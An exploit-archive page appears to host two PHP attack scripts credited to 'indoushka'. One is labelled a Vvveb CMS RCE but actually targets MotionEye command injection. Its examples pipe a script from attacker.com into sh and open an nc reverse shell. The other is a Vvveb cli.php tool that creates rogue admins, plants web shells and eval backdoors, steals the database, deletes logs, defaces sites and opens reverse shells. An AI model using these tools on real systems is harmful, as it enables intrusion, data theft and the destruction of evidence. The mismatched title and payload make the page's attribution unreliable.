Share
## https://sploitus.com/exploit?id=PACKETSTORM:216970
=============================================================================================================================================
    | # Title     : Vvveb CMS 1.0.5 RCE                                                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.vvveb.com/                                                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518
    
    [+] Summary    : Command Injection in Configuration Files - Unsanitized user input in the image_file_name parameter 
                     allows authenticated attackers to inject OS commands via $(command) syntax, leading to remote code execution.
    
    [+] POC :
    
    php motioneye_rce.php check https://target-motioneye.local
    
    php motioneye_rce.php check https://192.168.1.100 admin password123
    
    <?php
    
    
    class MotionEyeRCE {
        private $target;
        private $username;
        private $password;
        private $uri;
        private $cookies;
        private $timeout = 30;
        private $verify_ssl = false;
        private $camera_id;
        
        public function __construct($target, $username = 'admin', $password = '') {
            $this->target = rtrim($target, '/');
            $this->username = $username;
            $this->password = $password;
            $this->cookies = [];
            $this->camera_id = null;
        }
        
        /**
         * Clean string according to MotionEye's canonicalization rules
         */
        private function clean_string($data) {
            if ($data === null) {
                return '';
            }
            
            if (!is_string($data)) {
                $data = (string)$data;
            }
            
            // Regex from MotionEye source code
            $signature_regex = '/[^A-Za-z0-9\/?_.=&{}\[\]":, -]/';
            return preg_replace($signature_regex, '-', $data);
        }
        
        /**
         * Compute SHA1 signature for MotionEye requests
         */
        private function compute_signature($method, $path, $body = null, $key = '') {
            // Parse URL
            $parsed = parse_url($path);
            $path_only = $parsed['path'] ?? '';
            $query_str = $parsed['query'] ?? '';
            
            // Parse query parameters
            $query_params = [];
            if ($query_str) {
                parse_str($query_str, $query_params);
            }
            
            // Remove _signature parameter
            unset($query_params['_signature']);
            
            // Sort parameters alphabetically
            ksort($query_params);
            
            // Build canonical query string
            $canonical_query = '';
            foreach ($query_params as $k => $v) {
                if ($canonical_query !== '') {
                    $canonical_query .= '&';
                }
                $canonical_query .= $k . '=' . rawurlencode($v);
            }
            
            // Build canonical path
            $canonical_path = $path_only;
            if ($canonical_query !== '') {
                $canonical_path .= '?' . $canonical_query;
            }
            
            // Clean path and body
            $cleaned_path = $this->clean_string($canonical_path);
            $cleaned_body = $this->clean_string($body);
            
            // Compute key hash
            $key_hash = strtolower(sha1($key));
            
            // Build data to hash
            $data = $method . ':' . $cleaned_path . ':' . $cleaned_body . ':' . $key_hash;
            
            return strtolower(sha1($data));
        }
        
        /**
         * Generate timestamp in milliseconds
         */
        private function generate_timestamp_ms() {
            return (int)(microtime(true) * 1000);
        }
        
        /**
         * Send HTTP request with MotionEye signature
         */
        private function send_signed_request($method, $path, $data = null, $headers = []) {
            $url = $this->target . $path;
            
            // Add required GET parameters
            $get_params = [
                '_username' => $this->username,
                '_' => $this->generate_timestamp_ms()
            ];
            
            // Parse existing query string if present
            $parsed = parse_url($url);
            $base_url = $parsed['scheme'] . '://' . $parsed['host'] . ($parsed['port'] ? ':' . $parsed['port'] : '') . $parsed['path'];
            $existing_query = [];
            
            if (isset($parsed['query'])) {
                parse_str($parsed['query'], $existing_query);
                $get_params = array_merge($get_params, $existing_query);
            }
            
            // Build query string
            $query_str = http_build_query($get_params);
            $path_with_query = $parsed['path'] . '?' . $query_str;
            
            // Compute signature
            $signature = $this->compute_signature(
                strtoupper($method),
                $path_with_query,
                $data,
                $this->password
            );
            
            // Add signature to query parameters
            $get_params['_signature'] = $signature;
            $query_str = http_build_query($get_params);
            
            // Build final URL
            $final_url = $base_url . '?' . $query_str;
            
            // Prepare request
            $ch = curl_init();
            
            $options = [
                CURLOPT_URL => $final_url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_MAXREDIRS => 5,
                CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
                CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
                CURLOPT_HEADER => true,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                CURLOPT_HTTPHEADER => array_merge([
                    'Accept: application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    'Accept-Language: en-US,en;q=0.5',
                    'Connection: close'
                ], $headers)
            ];
            
            if (strtoupper($method) === 'POST') {
                $options[CURLOPT_POST] = true;
                if ($data !== null) {
                    $options[CURLOPT_POSTFIELDS] = $data;
                    
                    // Detect content type
                    if (is_array($data)) {
                        $options[CURLOPT_POSTFIELDS] = http_build_query($data);
                        $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/x-www-form-urlencoded';
                    } else {
                        $options[CURLOPT_POSTFIELDS] = $data;
                        if (json_decode($data) !== null) {
                            $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/json';
                        }
                    }
                }
            }
            
            // Add cookies if any
            if (!empty($this->cookies)) {
                $cookie_str = '';
                foreach ($this->cookies as $name => $value) {
                    $cookie_str .= $name . '=' . $value . '; ';
                }
                $options[CURLOPT_COOKIE] = rtrim($cookie_str, '; ');
            }
            
            curl_setopt_array($ch, $options);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            if ($response === false) {
                throw new Exception("cURL error: " . $error);
            }
            
            $headers = substr($response, 0, $header_size);
            $body = substr($response, $header_size);
            
            // Extract and store cookies
            preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches);
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[$parts[0]] = $parts[1];
                }
            }
            
            return [
                'code' => $http_code,
                'headers' => $headers,
                'body' => $body
            ];
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            try {
                $ch = curl_init($this->target);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => $this->timeout,
                    CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
                    CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
                ]);
                
                $response = curl_exec($ch);
                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($http_code !== 200) {
                    return ['vulnerable' => false, 'message' => 'Target not reachable or not MotionEye'];
                }
                
                // Look for motionEye version
                if (preg_match('/motionEye Version.*?<span[^>]*>([^<]+)</', $response, $matches)) {
                    $version = trim($matches[1]);
                    $clean_version = preg_replace('/[a-zA-Z]/', '', $version);
                    
                    if (version_compare($clean_version, '0.43.15', '<')) {
                        return [
                            'vulnerable' => true,
                            'message' => "Vulnerable version detected: $version",
                            'version' => $version
                        ];
                    } else {
                        return [
                            'vulnerable' => 'unknown',
                            'message' => "Newer version detected: $version. Check release notes.",
                            'version' => $version
                        ];
                    }
                }
                
                return ['vulnerable' => false, 'message' => 'MotionEye version not found'];
                
            } catch (Exception $e) {
                return ['vulnerable' => false, 'message' => 'Error: ' . $e->getMessage()];
            }
        }
        
        /**
         * Add a camera to MotionEye
         */
        private function add_camera() {
            echo "[+] Adding malicious camera...\n";
            
            $data = json_encode([
                'scheme' => 'rstp',
                'host' => $this->generate_ip(),
                'port' => '',
                'path' => '/',
                'username' => '',
                'proto' => 'netcam'
            ]);
            
            $response = $this->send_signed_request(
                'POST',
                '/config/add/',
                $data,
                ['Content-Type: application/json']
            );
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to add camera. HTTP {$response['code']}");
            }
            
            $json = json_decode($response['body'], true);
            if (!$json || !isset($json['id'])) {
                throw new Exception("Invalid response when adding camera");
            }
            
            $this->camera_id = $json['id'];
            echo "[+] Camera added successfully (ID: {$this->camera_id})\n";
            
            return $this->camera_id;
        }
        
        /**
         * Configure camera with payload
         */
        private function configure_camera($payload) {
            echo "[+] Configuring camera with payload...\n";
            
            $camera_name = 'cam_' . bin2hex(random_bytes(4));
            $config = [
                'enabled' => true,
                'name' => $camera_name,
                'proto' => 'netcam',
                'auto_brightness' => false,
                'rotation' => [0, 90, 180, 270][rand(0, 3)],
                'framerate' => rand(2, 30),
                'privacy_mask' => false,
                'storage_device' => 'custom-path',
                'root_directory' => "/var/lib/motioneye/{$camera_name}",
                'upload_enabled' => false,
                'upload_picture' => false,
                'upload_movie' => false,
                'upload_service' => ['ftp', 'sftp', 'webdav'][rand(0, 2)],
                'upload_method' => ['post', 'put'][rand(0, 1)],
                'upload_subfolders' => false,
                'web_hook_storage_enabled' => false,
                'command_storage_enabled' => false,
                'text_overlay' => false,
                'text_scale' => rand(1, 3),
                'video_streaming' => false,
                'streaming_framerate' => rand(5, 30),
                'streaming_quality' => rand(50, 95),
                'streaming_resolution' => rand(50, 95),
                'streaming_server_resize' => false,
                'streaming_port' => '9081',
                'streaming_auth_mode' => 'disabled',
                'streaming_motion' => false,
                'still_images' => true,
                'image_file_name' => "$({$payload})",  // Payload injection point
                'image_quality' => rand(50, 95),
                'capture_mode' => 'manual',
                'preserve_pictures' => '0',
                'manual_snapshots' => true,
                'movies' => false,
                'movie_file_name' => '%Y-%m-%d/%H-%M-%S',
                'movie_quality' => rand(50, 95),
                'movie_format' => 'mp4 => h264_v4l2m2m',
                'movie_passthrough' => false,
                'recording_mode' => 'motion-triggered',
                'max_movie_length' => '0',
                'preserve_movies' => '0',
                'motion_detection' => false,
                'frame_change_threshold' => '0.' . rand(1000000000000000, 9999999999999999),
                'max_frame_change_threshold' => rand(0, 1),
                'auto_threshold_tuning' => false,
                'auto_noise_detect' => false,
                'noise_level' => rand(10, 32),
                'light_switch_detect' => '0',
                'despeckle_filter' => false,
                'event_gap' => rand(5, 30),
                'pre_capture' => rand(1, 5),
                'post_capture' => rand(1, 5),
                'minimum_motion_frames' => rand(20, 30),
                'motion_mask' => false,
                'show_frame_changes' => false,
                'create_debug_media' => false,
                'email_notifications_enabled' => false,
                'telegram_notifications_enabled' => false,
                'web_hook_notifications_enabled' => false,
                'web_hook_end_notifications_enabled' => false,
                'command_notifications_enabled' => false,
                'command_end_notifications_enabled' => false,
                'working_schedule' => false,
                'resolution' => ['320x240', '640x480', '1280x720'][rand(0, 2)]
            ];
            
            $data = json_encode([$this->camera_id => $config]);
            
            $response = $this->send_signed_request(
                'POST',
                '/config/0/set/',
                $data,
                ['Content-Type: application/json']
            );
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to configure camera. HTTP {$response['code']}");
            }
            
            echo "[+] Camera configured with payload\n";
        }
        
        /**
         * Trigger the exploit by taking a snapshot
         */
        private function trigger_exploit() {
            echo "[+] Triggering exploit...\n";
            
            $response = $this->send_signed_request(
                'POST',
                "/action/{$this->camera_id}/snapshot/",
                'null',
                ['Content-Type: application/json']
            );
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to trigger exploit. HTTP {$response['code']}");
            }
            
            echo "[+] Exploit triggered\n";
        }
        
        /**
         * Remove the camera
         */
        private function remove_camera() {
            if (!$this->camera_id) {
                return;
            }
            
            echo "[+] Removing camera...\n";
            
            try {
                $response = $this->send_signed_request(
                    'POST',
                    "/config/{$this->camera_id}/rem/",
                    'null',
                    ['Content-Type: application/json']
                );
                
                if ($response['code'] === 200) {
                    echo "[+] Camera removed successfully\n";
                }
            } catch (Exception $e) {
                echo "[-] Error removing camera: " . $e->getMessage() . "\n";
            }
            
            $this->camera_id = null;
        }
        
        /**
         * Generate random IP address
         */
        private function generate_ip() {
            return rand(1, 254) . '.' . rand(0, 254) . '.' . rand(0, 254) . '.' . rand(1, 254);
        }
        
        /**
         * Execute exploit
         */
        public function exploit($payload) {
            try {
                // Check target first
                $check = $this->check();
                if (!$check['vulnerable']) {
                    echo "[-] Target appears not to be vulnerable: " . $check['message'] . "\n";
                    return false;
                }
                
                echo "[+] Target appears to be vulnerable\n";
                
                // Add camera
                $this->add_camera();
                
                // Configure with payload
                $this->configure_camera($payload);
                
                // Trigger exploit
                $this->trigger_exploit();
                
                echo "[+] Exploit completed. Check for callback.\n";
                
                return true;
                
            } catch (Exception $e) {
                echo "[-] Exploit failed: " . $e->getMessage() . "\n";
                
                // Clean up
                $this->remove_camera();
                
                return false;
            }
        }
        
        /**
         * Clean up resources
         */
        public function cleanup() {
            $this->remove_camera();
        }
        
        public function __destruct() {
            $this->cleanup();
        }
    }
    
    /**
     * Command-line interface
     */
    if (php_sapi_name() === 'cli') {
        if ($argc < 2) {
            echo "MotionEye RCE Exploit (CVE-2025-60787)\n";
            echo "Usage:\n";
            echo "  php {$argv[0]} check <url> [username] [password]\n";
            echo "  php {$argv[0]} exploit <url> <payload> [username] [password]\n";
            echo "\nExamples:\n";
            echo "  php {$argv[0]} check https://192.168.1.100\n";
            echo "  php {$argv[0]} exploit https://192.168.1.100 'curl http://attacker.com/shell.sh|sh'\n";
            echo "  php {$argv[0]} exploit https://192.168.1.100 'nc -e /bin/bash 192.168.1.50 4444' admin password123\n";
            exit(1);
        }
        
        $command = $argv[1];
        $url = $argv[2] ?? '';
        
        if ($command === 'check') {
            $username = $argv[3] ?? 'admin';
            $password = $argv[4] ?? '';
            
            $exploit = new MotionEyeRCE($url, $username, $password);
            $result = $exploit->check();
            
            echo "Target: $url\n";
            echo "Status: " . $result['message'] . "\n";
            if (isset($result['version'])) {
                echo "Version: " . $result['version'] . "\n";
            }
            
        } elseif ($command === 'exploit') {
            $payload = $argv[3] ?? '';
            $username = $argv[4] ?? 'admin';
            $password = $argv[5] ?? '';
            
            if (!$payload) {
                echo "[-] Payload required for exploit command\n";
                exit(1);
            }
            
            $exploit = new MotionEyeRCE($url, $username, $password);
            $exploit->exploit($payload);
            
        } else {
            echo "[-] Unknown command: $command\n";
            exit(1);
        }
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================
    
    
    
    Rediscovered to still affect version 1.0.7.3 per the researcher:
    
    
    =============================================================================================================================================
    | # Title     : Vvveb CMS 1.0.7.3 CLI.php Remote Code Execution Exploit                                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.vvveb.com/update.json                                                                                           |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518
    
    [+] Summary    : The Vvveb CMS CLI tool (cli.php) contains critical security flaws when accessible via web:
    
        Authentication Bypass: Automatically logs in as Super Admin when accessed with admin parameter
    
        Unfiltered Input: Accepts arbitrary GET/POST parameters directly from command line/web requests
    
        No Authorization Checks: Allows execution of any administrative function without verification
    
    [+] Exploitation Methods
    
    Remote Access via Web (Misconfiguration)
    
    # Direct URL access to cli.php
    
    https://target.com/cli.php?admin&module=user/users&action=save&user[email]=attacker@evil.com&user[role_id]=1
    
    # Using discovered cli.php paths
    
    https://target.com/admin/cli.php?admin&module=tools/cache&action=delete
    
    Local Server Access (Common)
    bash
    
    # With shell access to server
    
    php cli.php admin module=user/users action=save user[email]=admin@evil.com user[password]=hacked123
    
    # Full control operations
    
    php cli.php admin module=plugin/plugins action=install url=http://malicious.com/backdoor.zip
    php cli.php admin module=content/posts action=delete post_id=all
    
    [+] POC : php poc.php
    
    <?php
    /*
     * Vvveb CLI Exploiter - Multi-Function Attack Tool
     * Author: Security Researcher
     * Warning: For authorized testing only
     */
    
    error_reporting(0);
    set_time_limit(0);
    
    class VvvebExploiter {
        private $target;
        private $output = [];
        private $cli_paths = [
            '/cli.php',
            '/vvveb/cli.php',
            '/admin/cli.php',
            '/public/cli.php',
            '/system/cli.php'
        ];
        
        public function __construct($target) {
            $this->target = rtrim($target, '/');
        }
        
        // 1. Discover cli.php file
        public function discover() {
            $this->log("๐Ÿ” Discovering cli.php paths...");
            
            foreach ($this->cli_paths as $path) {
                $url = $this->target . $path;
                try {
                    $response = $this->http_request($url);
                    if (strpos($response, 'Usage cli.php') !== false || 
                        strpos($response, 'vvveb') !== false) {
                        $this->log("[โœ…] Found cli.php at: " . $url);
                        return $url;
                    }
                } catch (Exception $e) {
                    continue;
                }
            }
            
            // Try automatic discovery
            $this->log("[๐Ÿ”„] Scanning common paths...");
            $common_paths = $this->bruteforce_paths();
            
            foreach ($common_paths as $path) {
                $url = $this->target . $path;
                if (@file_get_contents($url, false, null, 0, 100)) {
                    $this->log("[โš ๏ธ] Potential path: " . $url);
                }
            }
            
            return false;
        }
        
        // 2. Full exploitation via cli.php
        public function full_exploit($cli_url) {
            $this->log("\n๐Ÿ’€ Starting full exploitation...\n");
            
            // A. Clear cache
            $this->log("[1] Clearing cache...");
            $this->execute($cli_url, 'admin', 'tools/cache', 'delete');
            
            // B. Create admin user
            $this->log("[2] Creating admin user...");
            $user_data = [
                'user[email]' => 'admin_hack_' . rand(1000,9999) . '@evil.com',
                'user[password]' => 'P@ssw0rd' . rand(100,999),
                'user[role_id]' => 1,
                'user[username]' => 'hacker' . rand(1,100)
            ];
            $this->execute($cli_url, 'admin', 'user/users', 'save', $user_data);
            
            // C. Upload web shell
            $this->log("[3] Uploading web shell...");
            $shell_url = 'http://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/simple.php';
            $this->execute($cli_url, 'admin', 'plugin/plugins', 'install', ['url' => $shell_url]);
            
            // D. Create backdoor
            $this->log("[4] Creating backdoor...");
            $backdoor_code = base64_encode('<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);}?>');
            $this->execute($cli_url, 'admin', 'content/posts', 'save', [
                'post[title]' => 'Normal Post',
                'post[content]' => '<?php eval(base64_decode("' . $backdoor_code . '")); ?>',
                'post[status]' => 'published',
                'post[slug]' => 'shell_' . rand(1000,9999) . '.php'
            ]);
            
            // E. Get system info
            $this->log("[5] Gathering system information...");
            $this->execute($cli_url, 'admin', 'system/info', 'view');
            
            // F. Change site settings
            $this->log("[6] Changing site settings...");
            $this->execute($cli_url, 'admin', 'system/settings', 'save', [
                'setting[site_title]' => 'HACKED BY SECURITY TEAM',
                'setting[maintenance]' => 1
            ]);
            
            $this->log("\n๐ŸŽฏ Exploitation complete!");
            return true;
        }
        
        // 3. Create web shell
        public function create_webshell($cli_url, $path = '/uploads/shell.php') {
            $this->log("[+] Creating web shell at: " . $path);
            
            $shell_code = '<?php
    // Vvveb Web Shell
    error_reporting(0);
    if(isset($_REQUEST["cmd"])){
        echo "<pre>";
        system($_REQUEST["cmd"]);
        echo "</pre>";
        die();
    }
    if(isset($_FILES["file"])){
        move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
        echo "Uploaded: ".$_FILES["file"]["name"];
        die();
    }
    echo \'<form method="post" enctype="multipart/form-data">
    <input type="file" name="file"><input type="submit">
    </form>\';
    ?>';
            
            // Try multiple methods
            $methods = [
                // Method 1: Via backup restore
                ['module' => 'tools/backup', 'action' => 'restore', 'params' => [
                    'backup' => 'data:text/plain;base64,' . base64_encode($shell_code),
                    'path' => $path
                ]],
                
                // Method 2: Via file upload
                ['module' => 'tools/import', 'action' => 'upload', 'params' => [
                    'file[]' => 'data:text/plain;base64,' . base64_encode($shell_code)
                ]],
                
                // Method 3: Via post creation
                ['module' => 'content/posts', 'action' => 'save', 'params' => [
                    'post[title]' => 'Shell',
                    'post[content]' => $shell_code,
                    'post[status]' => 'published',
                    'post[slug]' => 'shell.php'
                ]]
            ];
            
            foreach ($methods as $method) {
                $this->execute($cli_url, 'admin', $method['module'], $method['action'], $method['params']);
                sleep(1);
            }
        }
        
        // 4. Dump database
        public function dump_database($cli_url) {
            $this->log("[+] Dumping database...");
            
            // Create backup
            $this->execute($cli_url, 'admin', 'tools/backup', 'create', [
                'filename' => 'db_dump_' . date('Y-m-d') . '.sql'
            ]);
            
            // Try to download it
            $backup_paths = [
                '/db_dump_' . date('Y-m-d') . '.sql',
                '/backup/db_dump_' . date('Y-m-d') . '.sql',
                '/system/storage/backup/db_dump_' . date('Y-m-d') . '.sql',
                '/public/backup/db_dump_' . date('Y-m-d') . '.sql'
            ];
            
            foreach ($backup_paths as $path) {
                $url = $this->target . $path;
                $content = $this->http_request($url);
                if ($content && strlen($content) > 100 && strpos($content, 'CREATE TABLE') !== false) {
                    file_put_contents('stolen_database.sql', $content);
                    $this->log("[โœ…] Database stolen: " . strlen($content) . " bytes");
                    return true;
                }
            }
            
            return false;
        }
        
        // 5. Delete logs
        public function delete_logs($cli_url) {
            $this->log("[+] Deleting system logs...");
            
            $logs = [
                '/var/log/apache2/access.log',
                '/var/log/apache2/error.log',
                '/var/log/nginx/access.log',
                '/storage/logs/',
                '/system/logs/',
                '/logs/'
            ];
            
            foreach ($logs as $log) {
                $this->execute($cli_url, 'admin', 'tools/cache', 'delete', ['path' => $log]);
            }
            
            // Disable logging
            $this->execute($cli_url, 'admin', 'system/settings', 'save', [
                'setting[log_enabled]' => 0
            ]);
        }
        
        // 6. Deface site - FIXED LINE 185
        public function deface_site($cli_url) {
            $this->log("[๐Ÿ’€] Defacing website...");
            
            $deface_html = '<!DOCTYPE html>
    <html><head><title>HACKED</title></head>
    <body style="background:black;color:red;text-align:center;">
    <h1>๐Ÿ”“ SITE HACKED ๐Ÿ”“</h1>
    <h2>Security Vulnerability Found</h2>
    <p>Vvveb CMS cli.php exposed</p>
    </body></html>';
            
            // Update homepage
            $this->execute($cli_url, 'admin', 'content/pages', 'save', [
                'page[title]' => 'HACKED',
                'page[content]' => $deface_html,
                'page[slug]' => 'index',
                'page[status]' => 'published'
            ]);
            
            // Direct file modification
            $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [
                'backup' => 'data:text/html,' . urlencode($deface_html),
                'path' => '/index.php'
            ]);
        }
        
        // 7. Network scan
        public function scan_network($cli_url) {
            $this->log("[๐ŸŒ] Scanning internal network...");
            
            $subnets = ['192.168.1.', '10.0.0.', '172.16.0.'];
            $ports = [80, 443, 8080, 3306, 22, 21, 25];
            
            foreach ($subnets as $subnet) {
                for ($i = 1; $i < 10; $i++) { // First 10 IPs only
                    $ip = $subnet . $i;
                    $this->execute($cli_url, 'admin', 'tools/ping', 'check', [
                        'host' => $ip,
                        'ports' => implode(',', $ports)
                    ]);
                }
            }
        }
        
        // 8. Reverse shell
        public function reverse_shell($cli_url, $lhost, $lport = 4444) {
            $this->log("[โšก] Setting up reverse shell to $lhost:$lport");
            
            $php_reverse_shell = '<?php
    $sock=fsockopen("' . $lhost . '",' . $lport . ');
    $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
    ?>';
            
            $this->execute($cli_url, 'admin', 'content/posts', 'save', [
                'post[title]' => 'Reverse Shell',
                'post[content]' => $php_reverse_shell,
                'post[status]' => 'published',
                'post[slug]' => 'revshell_' . rand(1000,9999) . '.php'
            ]);
            
            $this->log("[!] Start listener: nc -lvnp $lport");
        }
        
        // 9. Execute custom command
        public function execute_command($cli_url, $command) {
            $this->log("[โŒจ๏ธ] Executing: $command");
            
            // Encode command in PHP file
            $cmd_php = '<?php system("' . addslashes($command) . '"); ?>';
            
            return $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [
                'backup' => 'data:text/plain;base64,' . base64_encode($cmd_php),
                'path' => '/tmp/cmd_' . rand(1000,9999) . '.php'
            ]);
        }
        
        // Helper: Execute command via cli.php
        private function execute($cli_url, $app, $module, $action, $params = []) {
            $url = $cli_url . '?' . $app . '&module=' . $module . '&action=' . $action;
            
            if (!empty($params)) {
                $url .= '&' . http_build_query($params);
            }
            
            try {
                $response = $this->http_request($url);
                
                if (strpos($response, 'error') === false && !empty($response)) {
                    $this->log("[โœ…] Success: $module/$action");
                    
                    // Save important results
                    if (strpos($response, 'password') !== false || 
                        strpos($response, 'email') !== false ||
                        strpos($response, 'INSERT INTO') !== false ||
                        strlen($response) < 5000) {
                        file_put_contents('results.txt', "\n=== $module/$action ===\n$response\n", FILE_APPEND);
                    }
                    
                    return $response;
                }
            } catch (Exception $e) {
                $this->log("[โŒ] Failed: $module/$action - " . $e->getMessage());
            }
            
            return false;
        }
        
        private function http_request($url, $timeout = 10) {
            // Try cURL first
            if (function_exists('curl_init')) {
                $ch = curl_init();
                curl_setopt_array($ch, [
                    CURLOPT_URL => $url,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => $timeout,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false,
                    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ]);
                
                $response = curl_exec($ch);
                if (curl_errno($ch)) {
                    throw new Exception('cURL error: ' . curl_error($ch));
                }
                
                curl_close($ch);
                return $response;
            }
            
            // Fallback to file_get_contents
            $context = stream_context_create([
                'http' => [
                    'timeout' => $timeout,
                    'header' => "User-Agent: Mozilla/5.0\r\n"
                ],
                'ssl' => [
                    'verify_peer' => false,
                    'verify_peer_name' => false
                ]
            ]);
            
            $response = @file_get_contents($url, false, $context);
            if ($response === false) {
                throw new Exception('HTTP request failed');
            }
            
            return $response;
        }
        
        private function bruteforce_paths() {
            $paths = [];
            
            // Common paths
            for ($i = 0; $i < 100; $i++) {
                $paths[] = '/vvveb' . $i . '/cli.php';
                $paths[] = '/admin' . $i . '/cli.php';
            }
            
            // Dynamic discovery
            $common_dirs = ['app', 'system', 'public', 'admin', 'vvveb', 'cms', 'web', 'install'];
            foreach ($common_dirs as $dir) {
                $paths[] = "/$dir/cli.php";
                $paths[] = "/$dir/../cli.php";
            }
            
            return $paths;
        }
        
        private function log($message) {
            echo $message . "\n";
            $this->output[] = $message;
        }
        
        public function save_report() {
            $report = implode("\n", $this->output);
            file_put_contents('exploit_report.txt', $report);
            $this->log("[๐Ÿ“„] Report saved: exploit_report.txt");
        }
        
        public function get_output() {
            return $this->output;
        }
    }
    
    // ===============================
    // Main Interface
    // ===============================
    
    function display_help() {
        echo "========================================\n";
        echo "    Vvveb CLI Exploiter \n";
        echo "    By indoushka\n";
        echo "========================================\n\n";
        
        echo "Usage: php exploit.php <target_url> [options]\n\n";
        echo "Options:\n";
        echo "  --discover         Discover cli.php only\n";
        echo "  --full             Full exploitation\n";
        echo "  --shell            Create web shell\n";
        echo "  --dbdump           Dump database\n";
        echo "  --clean            Delete logs\n";
        echo "  --deface           Deface website\n";
        echo "  --reverse <IP:PORT> Setup reverse shell\n";
        echo "  --cmd \"command\"    Execute system command\n";
        echo "  --auto             Everything automatic\n";
        echo "  --help             Show this help\n\n";
        
        echo "Examples:\n";
        echo "  php exploit.php https://target.com --discover\n";
        echo "  php exploit.php https://target.com --full\n";
        echo "  php exploit.php https://target.com --reverse 192.168.1.100:4444\n";
        echo "  php exploit.php https://target.com --cmd \"whoami\"\n";
    }
    
    // Main execution
    if ($argc < 2 || in_array($argv[1], ['--help', '-h'])) {
        display_help();
        exit(1);
    }
    
    $target = $argv[1];
    $option = $argv[2] ?? '--auto';
    
    echo "\n";
    echo "========================================\n";
    echo "Target: $target\n";
    echo "Mode: $option\n";
    echo "========================================\n";
    
    $exploiter = new VvvebExploiter($target);
    
    // Discover cli.php first
    echo "\n[1/3] Discovery phase...\n";
    $cli_url = $exploiter->discover();
    
    if (!$cli_url) {
        echo "[โŒ] cli.php not found\n";
        
        // Try default locations
        $default_urls = [
            $target . '/cli.php',
            $target . '/admin/cli.php',
            $target . '/vvveb/cli.php'
        ];
        
        foreach ($default_urls as $url) {
            echo "[?] Trying: $url\n";
        }
        
        exit(1);
    }
    
    echo "[โœ…] cli.php found: $cli_url\n";
    
    // Execute based on option
    echo "\n[2/3] Execution phase...\n";
    
    switch ($option) {
        case '--discover':
            echo "[โ„น๏ธ] Discovery completed\n";
            break;
            
        case '--full':
            $exploiter->full_exploit($cli_url);
            break;
            
        case '--shell':
            $exploiter->create_webshell($cli_url);
            break;
            
        case '--dbdump':
            $exploiter->dump_database($cli_url);
            break;
            
        case '--clean':
            $exploiter->delete_logs($cli_url);
            break;
            
        case '--deface':
            $exploiter->deface_site($cli_url);
            break;
            
        case '--reverse':
            if ($argc < 4) {
                echo "[โŒ] Missing IP:PORT for reverse shell\n";
                echo "Usage: --reverse 192.168.1.100:4444\n";
                exit(1);
            }
            list($lhost, $lport) = explode(':', $argv[3]);
            $exploiter->reverse_shell($cli_url, $lhost, $lport);
            break;
            
        case '--cmd':
            if ($argc < 4) {
                echo "[โŒ] Missing command\n";
                exit(1);
            }
            $command = $argv[3];
            $exploiter->execute_command($cli_url, $command);
            break;
            
        case '--auto':
        default:
            $exploiter->full_exploit($cli_url);
            sleep(2);
            $exploiter->create_webshell($cli_url);
            sleep(1);
            $exploiter->dump_database($cli_url);
            sleep(1);
            $exploiter->delete_logs($cli_url);
            break;
    }
    
    // Save report
    echo "\n[3/3] Reporting phase...\n";
    $exploiter->save_report();
    
    echo "\n========================================\n";
    echo "    Operation completed\n";
    echo "    Check results.txt and exploit_report.txt\n";
    echo "========================================\n";
    
    // Next steps
    echo "\n๐Ÿ”ง Next Steps:\n";
    echo "1. Access web shell: " . $target . "/uploads/shell.php\n";
    echo "2. Check for new admin users\n";
    echo "3. Use backdoor files\n";
    echo "4. Review stolen data\n";
    
    // Check if we created shells
    echo "\n๐Ÿ“ Created files (check these):\n";
    echo "- " . $target . "/shell_*.php\n";
    echo "- " . $target . "/uploads/shell.php\n";
